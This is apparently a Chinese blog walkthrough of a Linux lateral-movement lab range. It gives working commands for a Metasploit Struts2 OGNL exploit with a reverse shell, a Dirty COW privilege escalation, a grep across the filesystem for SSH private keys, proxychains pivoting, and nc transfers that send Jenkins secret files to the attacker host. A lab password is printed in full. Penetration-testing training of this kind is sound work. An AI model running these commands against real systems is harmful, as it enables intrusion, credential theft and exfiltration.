横向移动-Linux横向移动-Linux

靶场环境介绍

image.png

  • 172.16.250.10
    • Web服务对外开放
  • 172.16.250.30
    • Web应用只允许当前内网环境的主机访问
  • 172.16.250.50
    • 数据库服务器,不出网。实现站库分离

知识点

一般默认情况下SSH密钥都存放在~/.ssh/目录下,可以使用文件中搜索已保存的ssh凭证:

grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

复现过程

1、Web 获取


信息收集:

使用攻击机尝试扫描该网段,发现172.16.250.10的80端口对外开放。访问该网站,可知用到应用的是OpenCMS 10.5.3,8080端口开放的是Tomcat,访问80端口输入struts2-showcase路径,尝试访问成功,确认使用的是struts2并且是struts Showcase,直接上MSF

image.png

image.png

image.png

2、利用漏洞并获取Shell


打开MSF控制台,利用漏洞:

use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhost 172.16.250.10
set lport 80
run

image.png

拿到shell后发现我们只是tomcat权限,所以我们需要进行提权,上传脚本得知,可以利用脏牛提权。
获取:curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c
将文件上传至目标机器:

upload /root/dirtycow-mem.c /tmp  // 使用pwd查看当前目录,一般都在root目录下,
shell    
cd /tmp
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

image.png

调用dirtycow-mem文件,需要一个具有交互式的shell,使用Python进行创建:

python3 -c "import pty;pty.spawn('/bin/bash')"
./dirtycow-mem
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn		
# 将Linux内核的系统崩溃(panic)功能打开,并启用不同类型的崩溃触发器。在出现严重问题时,内核会自动崩溃并停止系统运行。这有助于避免数据损坏和其他可能的问题。

image.png

image.png

对该机器进行信息收集,发现配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties里面有数据库登录的信息:
image.png

由此判断出采用站库分离的模式。再看一下其他敏感文件。
cat ~/.bash_history 可以查看到历史记录中有利用RSA密钥登录.30机器的行为。
image.png
将这个私钥文件下载到本地并使用SSH进行连接:

cat ~/.bash_history
cp ~/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa
download  /tmp/id_rsa /root/id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@172.16.250.30

Jenkins 获取

1、信息收集

netstat -anpt 可以看到8080端口对外开放
image.png
我们无法直接访问,需要建立节点,利用MSF+Proxychains:
首先建立路由,然后使用socks
image.png

use auxiliary/server/socks_proxy
set srvport 1234
jobs

然后编辑proxychains配置文件vim /etc/proxychains4.conf
image.png

注意:
dynamic_chain:下方设置了节点一条测试能用就行
strict_chain: 下方设置了多条节点必须全部测试正确才能使用。

image.png

proxychains firefox 访问8080端口,开放了Jenkins服务
image.png

2、进一步利用Jenkins


Jenkins存储着一些密码,可以通过网上脚本进行破解。
image.png
db_backup用户,是不是之前发现的50机器的数据库服务呢?
image.png
image.png
修改属性为空就可以得到密码。
这里直接获取主目录的三个文件:

  • credentials.xml
  • master.key
  • hudson.util.Secret
    • 因为读取该文件会乱码,所以使用nc进行传输文件。

利用nc进行反向传递,用之前得到的SSH密钥+Proxychains:

proxychains4 ssh -i id_rsa root@172.16.250.30
nc -lvvp 1234 > master.key
nc -lvvp 1234 > hudson.util.Secret
nc -lvvp 1234 > credentials.xml
nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

image.png

利用脚本:https://github.com/cheetz/jenkins-decrypt
用pip3 install -r requirements.txt 安装需要的库文件

注意:需要Python3低版本

得到密码:)uDvra{4UL^;r?*h,直接登录50机器。ssh db_backup@172.16.250.50

image.png
利用sudo进行提权:

image.png

posted @ 2023-11-01 10:52  4eg1s  阅读(139)  评论(0编辑  收藏  举报